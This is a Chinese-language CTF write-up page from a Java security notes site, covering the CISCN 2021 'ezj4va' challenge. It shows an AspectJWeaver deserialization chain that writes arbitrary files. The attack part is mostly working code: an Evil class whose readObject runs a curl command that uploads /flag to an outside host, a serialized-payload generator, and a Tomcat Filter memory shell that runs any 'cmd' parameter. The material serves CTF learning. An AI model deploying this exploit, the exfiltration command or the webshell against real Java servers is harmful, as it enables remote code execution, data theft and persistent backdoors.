Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page

Was this helpful?

  1. 🍺Others
  2. CTF 🚩

CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)

复现地址👉[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[CISCN2021 总决赛]ezj4va)

BUU上面这道题被改成加固题了,ssh连接就能拿到源码,刚开始黑盒需要访问/robots.txt,返回disable:www.zip,再访问/www.zip就能下载源码了

首先查看pom.xml依赖

<dependencies>
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.38</version>
    </dependency>

    <!-- 本地测试加的tomcat-embed-jasper,不然会报错 -->
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-jasper</artifactId>
        <version>8.5.38</version>
    </dependency>

    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjweaver</artifactId>
        <version>1.9.5</version>
    </dependency>

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.72</version>
    </dependency>
</dependencies>

有aspectjweaver依赖,但没有CC依赖

HashMap.readObject()

​ HashMap.put()

​ HashMap.hash()

​ TiedMapEntry.hashCode()

​ TiedMapEntry.getValue()

​ LazyMap.get()

​ SimpleCache$StoreableCachingMap.put()

​ SimpleCache$StoreableCachingMap.writeToPath()

​ FileOutputStream.write()

private static class StoreableCachingMap extends HashMap {
    private StoreableCachingMap(String folder, int storingTimer){
			this.folder = folder;
			initTrace();
			this.storingTimer = storingTimer;
	}
    @Override
    public Object put(Object key, Object value) {
        String path = null;
        byte[] valueBytes = (byte[]) value;

        if (Arrays.equals(valueBytes, SAME_BYTES)) {
            path = SAME_BYTES_STRING;
        } else {
            path = writeToPath((String) key, valueBytes);
        }
        // ....
    }
    private String writeToPath(String key, byte[] bytes) throws IOException {
        String fullPath = folder + File.separator + key;
        FileOutputStream fos = new FileOutputStream(fullPath);
        fos.write(bytes);
        fos.flush();
        fos.close();
        return fullPath;
    }
}

put会触发写文件,key为文件名、value为文件内容

CartController#add  `/cart/add`
private void add(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String skus=req.getParameter("skus"),oldCart=null;
    Cookie[] cookies = req.getCookies();
    if(cookies!=null&&cookies.length>0){
        for(Cookie cookie:cookies){
            if("cart".equals(cookie.getName()))
                oldCart=cookie.getValue();
        }
    }
    try {
        Cart cart=cartService.addToCart(skus,oldCart);
        //...
    }
}

CartServiceImpl#addToCart
public Cart addToCart(String skus, String oldCartStr) throws Exception {
    Cart toAdd =(Cart) Deserializer.deserialize(skus);
    Cart cart=null;
    if(oldCartStr!=null)
        cart= (Cart) Deserializer.deserialize(oldCartStr);
    if(cart==null)
        cart=new Cart();

    if(toAdd.getSkuDescribe()!=null){
        Map skuDescribe = cart.getSkuDescribe();
        for(Map.Entry<String,Object> entry:toAdd.getSkuDescribe().entrySet()){
            skuDescribe.put(entry.getKey(),entry.getValue());
        }
    } // ...
}

skus和oldCartStr均可控,分别对其反序列化得到toAdd和cart

接着遍历toAdd.skuDescribe的Map.Entry,将其键值对放入toAdd.skuDescribe

这里就能触发StorableCachingMap#put

任意写文件能做些什么?

上传JSP马?题目的配置好像不会解析JSP。。。不太懂

但题目设置了target/classes为WEB-INF/classes,可以往classpath写字节码文件,重写类的readObject方法,后面再次触发反序列化。(泰妙辣)

import java.io.Serializable;

public class Evil implements Serializable {
    private void readObject(java.io.ObjectInputStream s) throws Exception{
        Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://ip:port -F file=@/flag"});
        // Runtime.getRuntime().exec("calc");
    }
}
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import javassist.ClassPool;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static void main(String[] args) throws Exception {
        Class cache = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor constructor = cache.getDeclaredConstructor(String.class, int.class);
        constructor.setAccessible(true);
        HashMap map = (HashMap) constructor.newInstance("/app/target/classes", 123);

        Cart cart = new Cart();
        cart.setSkuDescribe(map);

        Cart toAdd = new Cart();
        Map<String,Object> fileMap = new HashMap<String, Object>();
        String bytes = Base64.getEncoder().encodeToString(ClassPool.getDefault().get(Evil.class.getName()).toBytecode());
        fileMap.put("Evil.class", Base64.getDecoder().decode(bytes));
        toAdd.setSkuDescribe(fileMap);

        String oldCartStr = Serializer.serialize(cart);
        String skus = Serializer.serialize(toAdd);

        System.out.println(oldCartStr);
        System.out.println(skus);
        Evil evil = new Evil();
        System.out.println(Serializer.serialize(evil));
    }
}

再访问/cart/query,把Cookie中的cart改成Evil序列化的结果

若题目出不了网,试试写个Filter内存马

把Evil换成下面的MyFilter即可

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class MyFilter implements Filter, Serializable {
    static {
        try {
            final String name = "FilterGreet";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(name) == null) {
                Filter filter = new MyFilter();

                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());

                standardContext.addFilterDef(filterDef);

                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());

                standardContext.addFilterMapBefore(filterMap);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

                filterConfigs.put(name, filterConfig);
            }
        } catch (Exception hi) {
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
            Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
    }
}
PreviousCISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)NextD^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)

Last updated 1 year ago

Was this helpful?

但如果SpringBoot生成的胖jar,这招就不管用了。可以参考这篇文章👉

LandGrey's Blog
image-20230603135007804
image-20230603135554981
image-20230603135647152